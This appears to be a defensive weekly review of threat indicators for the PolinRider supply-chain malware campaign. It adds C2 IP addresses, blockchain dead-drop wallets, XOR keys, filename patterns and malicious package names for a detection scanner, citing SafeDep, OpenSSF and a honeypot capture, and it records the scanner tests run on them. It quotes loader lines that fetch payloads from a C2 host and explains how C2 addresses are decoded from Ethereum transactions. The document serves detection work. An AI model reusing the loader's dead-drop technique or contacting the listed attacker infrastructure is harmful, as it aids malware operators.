Skip to content

Indicator review, 2026-10-05

Outcome 83 indicators added
Pull request #35
Indicator set ioc/strong.txt, ioc/weak.txt, ioc/network.txt, ioc/bad-packages.txt, ioc/filenames.txt, ioc/implant-paths.txt
Source Reached What it said
OpenSourceMalware dossier yes, cloned and read Unchanged for the fifth week running. Latest commit still 0a8c9ea, 2026-07-09 — twelve weeks. README still at its 2026-04-11 revision. None of this week’s strings appear anywhere in it
opensourcemalware.com blog yes Index enumerated again. One post inside the eight-day window: the-opensourcemalwareshow-episode23 (2026-10-02). No new written analysis since the 2026-09-26 A/B post the last entry worked through, but the episode carries a dated update on the fake-font vector that is new and is the basis for one addition below
Web search, last 7 days yes Searched the campaign name, MicrosoftSystem64 and ForceMemo. This is where the week came from: SafeDep published a new primary analysis on 2026-09-30 that no previous entry has seen
socket.dev tracker no — 403, unchanged Fourth week in a row, on both the tracker and the blog. Policy of the site, not the sandbox

New primary sources read in full this week, neither of them previously cited in this directory:

Source Reached How
SafeDep, “PolinRider Switches to Ethereum C2 in 30+ Repositories”, 2026-09-30 yes curl. The host is not on the sandbox’s block list, which no previous entry had established. Needs -L: the un-slashed URL returns 308
OpenSSF malicious-packages, read at commit ae1ef409 yes, cloned A public git repository, so the whole database is readable. 71 records match this campaign’s indicators
Deception.Pro, “[Op Report] Hands-on-Keyboard Activity from the DPRK PolinRider Supply Chain Attack”, 2026-09-09 yes A honeypot capture, published inside the 2026-09-14 window and missed by that sweep. Provenance discussed below

Reachability re-checked this week, since the table in the directory README says to do that regardless of what it claims:

Host Last entry This week
socket.dev 403 403, blog and tracker alike
thehackernews.com reachable reachable
checkmarx.com reachable reachable
opensourcemalware.com reachable reachable
safedep.io never tested reachable
blog.deception.pro never tested reachable
registry.npmjs.org never tested reachable
pypi.org, including the full /simple/ index never tested reachable
medium.com never tested 403

The last two rows of that list matter more than they look. See the notes.

Sources that exist and could not be read. SlowMist published “PolinRider Poisons Nova Using On-chain Transactions as a C2 Manager” on 2026-09-21, on Medium, which returns 403 here. Search summaries describe it as corroborating the Ethereum dead-drop mechanism independently of SafeDep. Nothing in this entry is lifted from it. Socket’s own 2026-09-17 Packagist post is likewise 403, and Gurucul’s 2026-09-23 indicator post sits behind a community login.

main carries the 2026-09-28 review, so this week’s branch is based on main and not stacked on an unmerged one, unlike the last two.

The dossier has not moved in twelve weeks. What moved is that a second analyst team has published a full teardown of a branch of this campaign that ioc/ had almost no coverage of, and a third source — a machine-readable malicious-package database — turns out to be readable from here.

SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories

Section titled “SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories”

A malicious pull request against oxc-project/oxc on 2026-09-14 put the loader into 20 build and test scripts. The maintainers did not merge it; an [autofix.ci] formatter commit reflowed the one-line payload into 106 lines, which is the only reason it was visible in the diff at all. From that one diff SafeDep decoded every stage statically and walked the chain outward to 35 GitHub repositories still carrying the loader at HEAD on 2026-09-30, with 7,578 stars and 2,884 forks between them. Four Creative Tim dashboard templates in that set account for 1,773 forks.

The mechanism is the one this repository already knows as NullReceiver, with a different chain and a second wallet:

  • The loader asks three public Ethereum RPC endpoints for the current block number, rounds down to a multiple of 256, adds 3, and reads that block looking for a transaction whose sender contains a fixed 32-hex substring.
  • The recipient address of that transaction is the payload: bytes 1–4 are an IPv4 address and bytes 5–6 a port, then a second pair at offset 7. The post shows the decode by hand — c6 69 7f d2 is 198.105.127.210, 01bb is 443.
  • Two operator wallets run this. 0x33ff3eda…9891 has posted every 256 blocks (~51 minutes) since 2026-06-23, 2,895 transactions. 0xa322E5f3…Ef1a — the wallet already in strong.txt — posts every 1,000 blocks since 2026-07-25, 491 transactions.
  • Because every rotation is a transaction, the wallet history is the C2 history. SafeDep decoded all of it: eleven servers across the two wallets, eight of them on AS149440 (Evoxt).

Three things about this bear on the current set, and all three are now fixed or written down:

  1. ioc/ had two of the eleven C2 addresses for the 0x33ff branch and three of six for 0xa322. The chain had simply not been read back far enough by the sources previous entries used. All eight missing addresses are added.
  2. The 0xa322 wallet address in strong.txt is in the wrong case. It was added on 2026-09-14 lowercased. ioc/ is matched with grep -F and no -i, and the literal in an infected file is the checksummed mixed-case form — SafeDep prints '0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase() straight out of postcss.config.js in one victim repository. The existing entry has never matched a sample. Both forms are now carried.
  3. The first XOR key in strong.txt is a ten-character prefix of a sixteen-character key, and this source settles the question the last entry could not. See below.

The XOR-key question from 2026-09-28 is answered, and the answer is the other one

Section titled “The XOR-key question from 2026-09-28 is answered, and the answer is the other one”

The 2026-09-28 entry read OpenSourceMalware’s column-aligned table

XOR keys q4FZkxX{!h,Sr3=@ y-p_>d$0B&@^1aQk

as two keys separated by the comma, could not tell whether the run of spaces in the second belonged to the key or to the column alignment, and carried q4FZkxX{!h — the longest unambiguous part of the first — plus the whole of the second. That reasoning was sound given one column-aligned table. It was wrong about where the boundary falls.

SafeDep prints the same pair as two arguments in source code:

await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);
await rl(new URL(`http://${o}:443/0x/ls`), 'y-p_>d$0B&@^1aQk', !0);

and its own indicator CSV repeats it per path: /0x/cls → “Response XOR key q4FZkxX{!h,Sr3=@”, /0x/ls → “Response XOR key y-p_>d$0B&@^1aQk”. The comma is inside the first key, both keys are sixteen characters, and the run of spaces in OpenSourceMalware’s table was column alignment after all.

So q4FZkxX{!h,Sr3=@ is added. The shorter q4FZkxX{!h is kept, not replaced: it is a prefix of the full key, it still matches every sample the full key matches, and it additionally covers a build that reuses only the first half. The cost is one extra line of scanner output on a file that is already INFECTED. The 2026-09-28 entry stands as written and was not edited — this paragraph is the correction, and the comment above the two entries in ioc/strong.txt records it where someone reading the data will see it.

OpenSSF malicious-packages: the 55 package names

Section titled “OpenSSF malicious-packages: the 55 package names”

SafeDep mentions in passing that “the OpenSSF malicious-packages database has 70 records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path”. That database is a public git repository on github.com, which is reachable from here, so it was cloned and searched rather than taken on trust. The search returns 71 records — 69 npm, 2 PyPI — published between 2026-06-24 and 2026-10-04, every one of them matching an indicator this repository already carries.

Each record names its reporter: Amazon Inspector, GitHub Security Advisories, or Kamil Mańkowski’s bad-packages feed. The pybitjs record makes the attribution explicit — “The payload and embedded IoCs are consistent with campaigns attributed to Lazarus APT/PolinRider” — and cites the Deception.Pro report as a reference, which is how that third source came to be read.

Two separations were done before anything was added, and both were mechanical rather than judged:

  • Attacker-owned versus hijacked. Every candidate was fetched from registry.npmjs.org or pypi.org. A package whose entire version history has been removed — latest absent, or the 0.0.1-security placeholder npm substitutes — is one the registry treats as wholly malicious. A package with a real latest and years of history is a hijacked victim, and for those the name alone is not a finding, so they go in as comments with their versions. That split put nine packages on the comment side, including three (@kolbo/mcp, 265 versions, latest 1.107.2; and @syncraft-labs/core, /react, /vue) that are still live on npm with a later clean release.
  • The substring trap. bad-packages.txt is matched with grep -F, so a name that is a prefix of a real package reports every project depending on the real one as INFECTED. Each candidate was run through npm’s search API, and every superstring it returned was then fetched directly to see whether it was a live maintained project or a placeholder. That caught five, listed under considered and not added. This is the first week this check has been done mechanically instead of by eye; see the notes.

Fifty-five names survived both filters and are added.

Deception.Pro, 2026-09-09: a honeypot with an operator in it

Section titled “Deception.Pro, 2026-09-09: a honeypot with an operator in it”

Published inside the 2026-09-14 window and missed by that sweep. It records an operator working interactively on an infected host for about 167 hours: installing Python 3.14 machine-wide, pulling clipboard-theft and screen-capture dependencies with pip, laying down three separate persistence mechanisms, and exfiltrating over HTTP POST with rotating user agents.

This is a source no previous entry has used, and I had no prior basis for trusting it. It is carried because it is corroborated twice over, from directions it could not have arranged:

  • its loader C2, 23.27.13.135, is independently confirmed by SafeDep as the 0xa322 C2 for 2026-08-22 to 2026-08-27 — a window the report could not have known from any other published source, because SafeDep is the first to decode the rotation; and
  • the OpenSSF record for pybitjs, written by Amazon Inspector and Kamil Mańkowski, cites this report as one of its references.

Its contribution is the Windows hands-on-keyboard stage, which ioc/ had nothing on: a %TEMP% stager pair and a VBS run from both a scheduled task and a Startup entry, under a name that impersonates the .NET native-image service. Four indicators from it are added — two filenames, one C2 address and one file-host string — and everything else it publishes is turned away below. A maintainer who does not want to rely on this source can drop exactly those four lines: each sits in its own commented block naming it.

Episode 23, 2026-10-02: the fake font drops the font extension

Section titled “Episode 23, 2026-10-02: the fake font drops the font extension”

The only post inside this week’s window is a podcast episode, and it is not nothing. Two weeks after the A/B-testing analysis, the hosts report that the same payload has been given a .llf extension, which has nothing to do with fonts, and that they counted over 120 versions of it live on GitHub on 2026-09-28. The repository one of them was researching was force-pushed and overwritten between a Friday-night blog post and the Monday morning, changing the file type — the rotation observed in real time, in the window between publication and promotion.

Two things follow:

  • This is the first current-variant font indicator the set can carry. The 2026-09-28 entry rejected fa-solid-900.woff2 because that is a genuine Font Awesome filename and filenames.txt is INFECTED tier with no weaker path tier. .llf does not have that problem: Font Awesome ships .woff2, .woff, .ttf, .eot and .svg, and no legitimate project names an .llf after a font weight. filenames.txt is already extended regex, which has been true all along and which no previous entry has used for this vector, so the weight can be a character class instead of a guess.
  • The source is a spoken transcript, and the filename is stated across two sentences — “they’re keeping the front of the file name basically the same, so fa-solid- fill in a number”, then “the one that I saw was 300, but instead of .woff2 it’s a .llf”. No single literal is printed anywhere on the page. That is a reason to carry the pattern rather than a specific name, not a reason to carry nothing: every element of the regex is stated explicitly, and the number is the part the source says rotates.

The episode also mentions, as history rather than as a current finding, that earlier sub-variants used fake .dic dictionary files and that those older forms are “coming back”. Nothing is added for that; see below.

Eighty-three indicators, from four sources read in full.

Indicator Why there Source
33ff3edaf55a8e03dcbc7cb40d498a49 The sender check the stage-2 loader embeds verbatim (var r = '33ff…'). Carried as this 32-hex truncation on purpose: it also matches the full operator address 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 and the X: request header, neither of which the full address would match SafeDep
_$_fed0 String-table name of this build — the same shape as _$_1e42, in strong.txt since the first release as above
global.o='5- The campaign-marker assignment with the counter dropped. Published markers: 5-841-du, 5-1169-du, 5-1460-du. Nothing legitimate assigns a "5-" string to global.o as above
`YU7m{rE/> ==b>#~` XOR key for the /0/body response. Sixteen high-entropy characters, no whitespace, and it appears twice in the page — in the decoded /0/boot listing and in the indicator CSV — identically
0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a The second operator wallet in the checksummed case the loader actually embeds. The lowercase entry added 2026-09-14 cannot match it under grep -F as above
TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF Tron primary dead drop of the paired 1-NN-1 loader. SafeDep reports finding it in no earlier public report as above
TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH Tron fallback dead drop of the same pair as above
0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471 Aptos account of the same pair. 64 hex characters as above
0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519 Aptos account of the same pair as above
q4FZkxX{!h,Sr3=@ The complete first XOR key of the 0xa322 branch. Corrects the boundary the 2026-09-28 entry could not establish as above
test26330331/test Attacker-owned GitLab project serving the second-stage loader. Same treatment as the two GitHub system-releases accounts already here Deception.Pro
Indicator Why there Source
global.i="A Every marker entry in strong.txt is pinned to one number, and the markers published since include A9-0337-4, A10-*23720 and A8-3465, which none of them match. This is SafeDep’s own recommended hunt expression. Review tier because it would also match a legitimate assignment of any string starting A SafeDep
global.i = 'A The same marker in the spaced single-quote style, which is the form the tailwindadmin/admin sample uses (global.i = 'A10-*23720';) as above
global.o=' The 0x33ff branch marker without the counter, which catches global.o='1-35' where the strong.txt entry does not. Review tier: a bare global assignment as above
x-payload-b64 The response header lower-cased. HTTP header names are case-insensitive, grep -F is not, and the OpenSSF record for tailwind-anim prints the literal in lower case where OpenSourceMalware printed it capitalised OpenSSF MAL-2026-11500 (Amazon Inspector)
files.catbox.moe Payload staging on a public file host. Ordinary service with ordinary uses: alert, do not block — the same tier as the Ethereum RPC endpoints Deception.Pro

All eight recovered by decoding heartbeat recipients off the Ethereum ledger, or from the honeypot capture. 198.105.127.210, 166.88.134.62, 166.88.73.46 and 193.247.144.38 were already present and are independently confirmed by this source.

Indicator Branch and window Source
45.137.198.133 0x33ff C2 #2 from 2026-09-28, port 80. AS212477 SafeDep
181.214.149.147 0x33ff, 2026-09-03 to 2026-09-07. AS397423 as above
181.214.149.148 0x33ff, 2026-09-07 to 2026-09-25. AS397423 as above
23.27.20.187 0x33ff, 2026-06-23 to 2026-09-03. AS149440 as above
23.27.13.135 0xa322, 2026-08-22 to 2026-08-27. AS149440 as above, and independently in the Deception.Pro capture
166.88.134.75 0xa322, 2026-09-17 to 2026-09-28. AS149440 as above
91.218.183.174 0xa322, from 2026-09-28. AS149440 as above
150.251.113.223 Stealer exfiltration, port 8443 Deception.Pro

The more durable fact here is AS149440 (Evoxt): eight of the eleven servers across both wallets sit on it, and the addresses rotate roughly weekly. That is an autonomous-system block, which network.txt cannot express — noted under techniques, not implemented.

Indicator Why there Source
(^|/)SvcHostUpdate\.(py|js)$ The %TEMP% stager pair of the hands-on-keyboard stage. Nothing legitimate ships a SvcHostUpdate.py Deception.Pro
(^|/)MicrosoftCLROptimization\.vbs$ The logon payload, run from both a scheduled task and a Startup entry of the same name. It impersonates the .NET native-image service, which is actually called .NET Framework NGEN v4.0.30319 as above
(^|/)fa-solid-[0-9]{3}\.llf$ The fake-font payload with a non-font extension. fa-solid-900.woff2 was rejected last week because it is a genuine Font Awesome filename; .llf is not one, so this is safe at INFECTED tier where the .woff2 forms are not. See below OSM, The OpenSourceMalware Show #23
Indicator Why there Source
%LOCALAPPDATA%\Temp\tmp7A863DD1.tmp The Python stealer’s lock file on Windows, beside the /tmp/tmp7A863DD1.tmp already carried for Linux and macOS. Same literal filename, so the same confidence SafeDep

Every name from the 71 matching OpenSSF records that passed both filters above. Source for all of them: OpenSSF malicious-packages at commit ae1ef409, read 2026-10-05, with the per-name record ID below; and SafeDep for the finding that this database holds them.

npm, 53 names:

Record Name Record Name
MAL-2026-12318 @hoteldev/common MAL-2026-12217 tailwind-animate-plugin
MAL-2026-12323 @nasddatax/common MAL-2026-12219 tailwind-animationgroup
MAL-2026-12324 @nasdtickets/common MAL-2026-12220 tailwind-animationpack
MAL-2026-12328 @rentwise/common MAL-2026-12027 tailwind-anime
MAL-2026-13388 @simplipayng/checkout MAL-2026-15925 tailwind-contact-forms
MAL-2026-12330 @vboxdev/common MAL-2026-12221 tailwind-custom-forms
MAL-2026-14285 @wizloft/harness MAL-2026-14195 tailwind-custom-templates
MAL-2026-14286 @wizloft/harness-context MAL-2026-16405 tailwind-form-styles
MAL-2026-14287 @wizloft/harness-kernel MAL-2026-13923 tailwind-form-templates
MAL-2026-14288 @wizloft/harness-plugin-repository-files MAL-2026-17310 tailwind-forms-kit
MAL-2026-14289 @wizloft/harness-validation MAL-2026-16195 tailwind-forms-styles
MAL-2026-12332 @zahlen/checkout-angular MAL-2026-12116 tailwind-hide-scrollbar
MAL-2026-12333 @zahlen/checkout-react MAL-2026-15634 tailwind-minanimated
MAL-2026-14290 anhn-cli MAL-2026-15635 tailwind-modernanimation
MAL-2026-12177 devpack-conf MAL-2026-12222 tailwind-opentype
MAL-2026-13921 envpack-conf MAL-2026-15904 tailwind-scrollbar-styles
MAL-2026-13705 iconova-react MAL-2026-14567 tailwindcss-3d-animate
MAL-2026-12417 post-css-transfer MAL-2026-15906 tailwindcss-animate-styles
MAL-2026-13696 postcss-initial-provider MAL-2026-16251 tailwindcss-contact-form
MAL-2026-13957 postcss-initialize-plugin MAL-2026-16124 tailwindcss-contact-forms
MAL-2026-13518 postcss-theme-provider MAL-2026-15826 tailwindcss-fluid-styles
MAL-2026-12189 react-scroll-disable MAL-2026-16262 tailwindcss-form-ui
MAL-2026-12192 scrollbar-hide-plugin MAL-2026-16263 tailwindcss-form-utils
MAL-2026-12437 simplipayng MAL-2026-15636 tailwindcss-forms-style
MAL-2026-12054 uibabai MAL-2026-17524 tailwindcss-forms-styles
MAL-2026-16295 tailwindcss-forms-ui MAL-2026-13604 tailwindcss-motion-advanced
MAL-2026-12224 tailwindcss-scrollbar-hide

PyPI, 2 names: pybitjs (MAL-2026-14545) and pyservercheck (MAL-2026-15603). Both are gone from PyPI, and neither is a substring of anything in the live /simple/ index, which was downloaded in full and searched to confirm it.

MAL-2026-17524 for tailwindcss-forms-styles was published 2026-10-04 — yesterday. This set is still growing weekly.

Not new indicators, but the existing hijacked-version note in bad-packages.txt understated two ranges, and the OpenSSF records list every affected version:

  • fetch-page-assets — was “1.2.9 through 1.2.14”, is 1.2.9 through 1.2.16 (MAL-2026-6358)
  • html-to-gutenberg — was “4.2.11”, is 4.2.11 through 4.2.22 (MAL-2026-6359)

Both have since been cleaned up on npm: on 2026-10-05 the dist-tags are fetch-page-assets@1.2.8 and html-to-gutenberg@4.2.10, behind the first malicious release in each case. The note now says so.

Built outside the repository working tree and scanned with ci/scan-workspace.sh:

  • one file carrying all eleven new strong.txt strings → INFECTED, exit 2
  • one file carrying only the five new weak.txt strings, in their real sample forms (global.i="A9-0337-4", global.i = 'A10-*23720', global.o='1-35', the lower-cased header, a files.catbox.moe URL) → review only, exit 0, and exit 1 under --fail-on review
  • a directory holding only SvcHostUpdate.py and MicrosoftCLROptimization.vbs → INFECTED, exit 2, on the filenames alone
  • a directory holding fa-solid-300.llf and fa-solid-900.llf → INFECTED, exit 2, both of them, on the filename regex alone
  • the .llf regex’s near misses, with real WOFF2 magic bytes so the existing font-masquerade check stays quiet: fa-solid-900.woff2, fa-solid-300.woff2, fa-regular-400.woff2, levels.llf, fa-solid-brands.llf and fa-solid-30.llf (two digits) → zero findings, exit 0. The same directory with the .woff2 files holding non-font content is correctly INFECTED on the pre-existing magic-bytes check, which is how it was confirmed that the new regex and not that check is what fires on the .llf names
  • a package.json naming six of the new packages across both ecosystems → INFECTED, exit 2
  • each of the sixteen new content indicators in a file of its own → all sixteen fire, eleven INFECTED and five review. The deduplicating output of a combined scan hides this, which is why it is done separately
  • all 55 new package names checked individually against the stripped indicator list the scanner builds → all 55 match as fixed strings, none missed
  • near-miss negatives → zero findings, exit 0: a package.json depending on tailwindcss-animate, tailwind-animate, tailwind-animations, tailwind-container-queries-2d, @webdev-config/eslint, tailwindcss-forms, tailwind-forms, pybit, sass-formatter, typeorm-encrypted and clsx-tailwind-merge; and a file carrying global.item = "Abc", global.optimize='5-841', X-Payload-B65, _$_feg0, the 0xa322 address with its last character changed, the new XOR key one character short, test26330331 without the project, and references to /tmp/.pip and ~/.node_modules; plus files named clr_init.vbs and SvcHostUpdater.py
  • ./polinrider.sh --path on the strong fixture → exit 2; on the negative fixture → exit 0
  • machine-cleanup/check-linux.sh against a clean directory → output byte for byte identical to the same run from a worktree of unmodified origin/main, apart from the timestamp and report filename, so nothing in the new network.txt or implant-paths.txt lines changes its behaviour
  • no duplicate line anywhere in the set, and no line present in both strong.txt/bad-packages.txt and weak.txt

Five names from the same 71 OpenSSF records. Each is a strict substring of a live package, verified by fetching the real one from the registry rather than assuming:

Rejected Is inside The real package
tailwind-anim tailwind-animate, tailwind-animations tailwind-animate@0.2.10, 19 versions, real description, live
tailwindcss-anim tailwindcss-animate, tailwindcss-animated, tailwindcss-animatecss, tailwindcss-animation-delay, @nobie-org/tailwindcss-animate, @anuragroy/tailwindcss-animate tailwindcss-animate@1.0.7 — the widely used one
tailwind-container-queries tailwind-container-queries-2d @1.0.5, 6 versions, live
webdev-conf @webdev-config/eslint @0.1.3, a real scoped project
tailwindcss-form tailwindcss-forms tailwindcss-forms is itself unpublished (latest absent), so the hazard is weaker here — but the name is one character from a plausible real package, and it is a strict prefix of three malicious names already carried, so it buys nothing

This is the same trap as sass-format, typeorm-encrypt and clsx-tailwind, recorded on 2026-09-14. Matching any of these eight needs a whole-name check against a parsed manifest.

The six heartbeat recipient addresses, and the four funder wallets. 0xc6697fd201BB2d89C685005000FF68cE430F572A and its five predecessors are the transaction recipients the C2 addresses are decoded from; 0xd31A213E…, 0x76D6dDCB…, 0x4E5B2e1d… and 0x96C8e62C… funded the two operator wallets. None of the ten appears in a file on disk — they exist on the chain — and strong.txt matches file contents, so carrying them would produce entries that can never match. This is the same reasoning strong.txt already records for the NullReceiver recipient (“disposable by design and deliberately not listed”), and 0x4E5B2e1d… is additionally described as a high-volume wallet, which is a false-positive risk on top. The decoded IP addresses are what reaches network.txt, and they are all there.

68656c6c6f6970626f742121. The hex of helloipbot!!, the fixed 12-byte tail of every 0xa322 heartbeat recipient. A chain artifact, like the ten above: it is a property of the address, not a string in the loader. Carried nowhere. strong.txt already notes the plaintext joke in its NullReceiver comment.

X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. A request header assembled at run time. Its distinctive half is the 32-hex sender check, which is carried on its own and matches wherever the header is written literally.

Sec-V. Third rejection, same reason: five characters.

The five published SHA-256 hashes — 02b7e072…, 84a3f1bd…, 5cbcb8e1…, f6d9f2fb… and 3be09f8c… — and the five from the Deception.Pro report. This is the fourth consecutive week real published hashes have been turned away, and the count of examples behind the gap goes from five to fifteen. The reason is unchanged and is a property of the code, not of the hashes: both hash sweeps in lib/local-common.sh are bounded to files larger than 10 MB and smaller than 300 MB, or keyed to an implant-paths.txt path, and ci/scan-workspace.sh does not read hashes.txt at all. Every hash here is a C2 response, a stager or a wheel — kilobytes. Adding them would make the set look like it covers the Ethereum branch when nothing would ever compare them.

~/.node_modules and /tmp/.pip. The private npm prefix the stage-4 script installs axios and socket.io-client into, and its fallback pip target. implant-paths.txt is INFECTED tier with no weaker path tier, and both are paths a developer could plausibly create — ~/.node_modules in particular is a documented way to configure an npm prefix. Fifth week the missing weak path tier has blocked an addition. ~/.local/bin/py is rejected for the same reason and is worse: py is the real Python launcher’s name.

clr_init.vbs. Dropped beside MicrosoftCLROptimization.vbs. Ordinary enough that a legitimate .NET tool could write it, and filenames.txt has no review tier.

files.pythonhosted.org and bootstrap.pypa.io. The stage-4 script installs Python and pip from them. These are PyPI’s own CDN and bootstrap host; carrying either at any tier would fire on essentially every Python project.

microsoft-standard-WSL2. The loader checks os.release() for it, to decide whether to also start node.exe and cross from the WSL2 guest to the Windows host. Every WSL2 kernel release string contains it. The technique is new and worth a maintainer’s attention; the string is not an indicator.

global._p_t, _H2, _t_s, _t_u, and _$_xxxx=(function(. The 30-second re-entry guard and the globals SafeDep uses to tie this campaign to its earlier astro.config.mjs and @joyfill investigations. Two problems: the first three live in stage 2, which reaches the repository file only as an encoded blob, and the 0xa322 loader is written with \u escapes, so even the plaintext ones are not plaintext in the file — SafeDep had to convert the escapes before reading them. The table pattern is a regex. See the techniques section; this is a detection problem, not a missing string.

/boot, /0/boot, /init, /0/body, /snv, /$/1, /u/f. The request paths of the 0x33ff branch. Unlike /0x/cls and /0x/ls, carried last week because that build’s string table is legible, these live in stage 2 — dictionary compressed inside the repository file — so they do not appear in a scanned file. And /boot and /init as fixed strings would match ordinary code.

The sandbox-evasion host and user list — buildkitsandbox, github-runne, codespace, devcontainer, vercel-sandb, assemblyline — and the Blocked (BOT) marker. String-table entries of stage 4, which is downloaded rather than committed, and ordinary words besides. codespace and devcontainer would fire on a great many repositories.

AS149440, AS397423, AS212477. Eight of eleven servers on one autonomous system is the most durable network fact in the SafeDep report, and network.txt holds addresses. An AS-level blocklist is a different artifact; see techniques.

Commit 41ab07a849c68472779da562d1530cf19f116ccf, and all the victims. oxc-project/oxc, tailwindadmin/admin, the four Creative Tim templates, the admin-dashboards organization, visanduma and the developer named in Socket’s Packagist write-up. The precedent is settled and this entry does not reopen it: a victim’s name is not an indicator of anything in someone else’s project. The one exception is the visanduma/nova-two-factor line added as a comment in the hijacked block, where it cannot match anything and tells a PHP shop something they would want to know.

The .dic fake-dictionary variant, and fa-solid-NNN.woff2 once more. Episode 23 says older sub-variants used fake .dic files and that they are returning, but it does not pair the .dic extension with the fa-solid- prefix, and a bare \.dic$ is an ordinary dictionary file — spellright.dict was rejected on the same grounds on 2026-09-14. The .woff2 forms stay out for the fourth week: fa-solid-900.woff2 is a real Font Awesome filename, and a regex over the weight does not help when the extension is the legitimate one. Both are caught today only by the font-magic-bytes check in ci/scan-workspace.sh, which remains the most durable detection this repository has for this vector and which the local checks still do not do.

The GlassWorm cluster. Search results this week repeatedly conflate GlassWorm with PolinRider — a Medium write-up and nocturnalknight.co both describe ForceMemo as a PolinRider “phase” that uses GlassWorm-stolen tokens. The primary source says otherwise: OpenSourceMalware’s own GlassWorm post, 2026-03-16, states “This new campaign is probably Russian in origin — not DPRK”, and tracks it separately. Its indicators — the Solana C2 address, the lzcdrtfxyqiplpd marker, ~/init.json, the thirteen IPs, the AES key and IV — stay out. Recorded here because the conflation is in secondary coverage that a future reviewer will hit again.

The GHAPPIER set, again. No new primary material. Scope decision from 2026-09-21 stands and remains the maintainer’s to revisit.

SlowMist’s “Nova” report and Socket’s Packagist post. Both describe the same Ethereum dead drop SafeDep decoded, which makes the mechanism three-source corroborated — and neither is readable here (Medium 403, socket.dev 403). No string is lifted from a search summary of either.

New techniques — maintainer decisions, not implemented

Section titled “New techniques — maintainer decisions, not implemented”

Nothing below is implemented. The first three are the ones that would change what this repository can detect.

  1. An AS-level network tier. Eight of the eleven C2 servers across both wallets are on AS149440 (Evoxt), and the addresses rotate roughly weekly — network.txt gained seven addresses this week that were current for between three and eighteen days each. The file’s own header already says “IP addresses rotate: block them, do not rely on them”, and this week is the measurement that proves it. An AS or CIDR tier would be stable where the addresses are not. It is also the one piece of this that is useful without the scanner: an egress policy can block an AS.
  2. The \u-escape problem, which defeats fixed-string matching outright. The 0xa322 loader is plain JavaScript written with Unicode escapes; SafeDep had to convert them before any of its strings were legible. That means global.i="A8-, global.i = 'A8, the wallet addresses and the XOR keys — the better half of strong.txt — do not match the raw bytes of a file in that family, whatever their case. Nothing in ioc/ can fix this, because the problem is not which string to match but that the file does not contain the string. What would fix it is a normalisation pass before matching: decode \uXXXX and \xNN escapes in a copy of the candidate file and scan that too. This is the highest-value code change this review has identified, and it is not a one-line one.
  3. The regex content tier, and the weak path tier. Fourth and fifth consecutive week respectively. This week they would have let in _$_[0-9a-f]{4}=\(function (which is one of the two expressions SafeDep recommends), node .*fa-solid-[0-9]{3}\.woff2 from last week, and ~/.node_modules, /tmp/.pip and clr_init.vbs as paths worth a look rather than a verdict.
  4. A long-line check. SafeDep’s first recommended hunt is not a string at all: grep -rnE '.{1000,}' over .js, .mjs, .cjs and .ts. The payload in the oxc commit sits after 2,000 space characters on the last line of each of 20 files, and the September fake-font builds pad with 273 and 421 tabs. This is content-independent, survives every rotation this campaign has shown, and ci/scan-workspace.sh does not do it. Cheap to add and it does not touch ioc/ at all.
  5. An author/committer mismatch check. SafeDep’s third hunt is git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3', and the oxc commit is the illustration: author an oxc maintainer dated 2026-07-16, committer the attacker account dated 2026-09-25, ten weeks apart, message describing a real benchmark change. AGENTS.md already warns that git history cannot be trusted to decide whether a branch is clean — this is the positive form of that warning, a fingerprint rather than an absence, and it matches what the 2026-09-28 entry recorded from the activity API (814 of 853 force-pushes rewrote only the tip with the same parent and author date).
  6. WSL2 guest-to-host crossing. When os.release() contains microsoft-standard-WSL2 the loader starts node.exe as well as node, so an infection contained in a Linux guest reaches the Windows host. The local checks are split by operating system and check-linux.sh has no reason today to care about Windows paths. A developer running WSL2 needs both checks, and nothing currently says so.
  7. Python as a second runtime. The stage-4 script installs Python (on Windows from python.7z and 7zr.exe) and pip from bootstrap.pypa.io, then runs a detached Python stager. The Deception.Pro capture shows the same thing from the other side: Python 3.14 installed machine-wide, clipboard and screen-capture dependencies pulled in. Every implant check in this repository looks for a Node binary or a Node process. A .pth file — which is how the pybitjs package re-executes on every Python interpreter start — is a persistence mechanism with no coverage here at all, and it is quieter than anything on the Node side.
  8. A cross-ecosystem manifest check. Two of this week’s names are PyPI packages and one earlier compromise is a Packagist branch. bad-packages.txt is a flat list of names with no ecosystem column, which is adequate for grep -F and inadequate for the whole-name check that gaps 1 and 3 of the standing list both need.

The July 2026 ecosystem expansion. Carried forward for the fourth week, and narrowed rather than closed. socket.dev returned 403 again on both the tracker and the blog, so the authoritative 108-package list is still unreachable. thehackernews.com is now reachable and was read in full: it confirms the shape — 162 release artifacts, 108 unique packages, 19 npm, 10 Composer, 61 Go modules, one Chrome extension — and names none of them. The one Chrome extension is still unnamed in every reachable source. What did improve is adjacent rather than identical: the OpenSSF database yielded 55 names tied to this campaign’s own indicators, which is the first substantial package coverage this set has had. Closing the original gap still needs socket.dev, or Socket’s data mirrored somewhere that is not socket.dev.

sass-format, typeorm-encrypt and clsx-tailwind — now eight names, with this week’s five. Unchanged in substance: known-malicious, deliberately unmatched, each a strict substring of a live legitimate package. What changed is that the check is no longer a judgement call — registry.npmjs.org and pypi.org are reachable, so a future reviewer can establish the hazard instead of suspecting it. Still needs a whole-name check against a parsed manifest.

The npm CLI persistence has no coverage. Unchanged, and no longer clearly the highest-value open item — the \u-escape problem (technique 2) is arguably ahead of it now. npm/lib/cli.js overwritten with a ~1 MB malicious CLI defeats the documented cleanup sequence, and nothing here detects it. Blocked on nobody.

hashes.txt cannot hold a small-file hash. Carried forward from 2026-09-21, now with fifteen published examples turned away rather than five. The file’s header promises “any file matching one of these is the implant, whatever it has been renamed to”, and the code delivers that only for files between 10 MB and 300 MB or sitting on an implant-paths.txt path.

No blob-ID tier. Carried forward from 2026-09-21, unchanged.

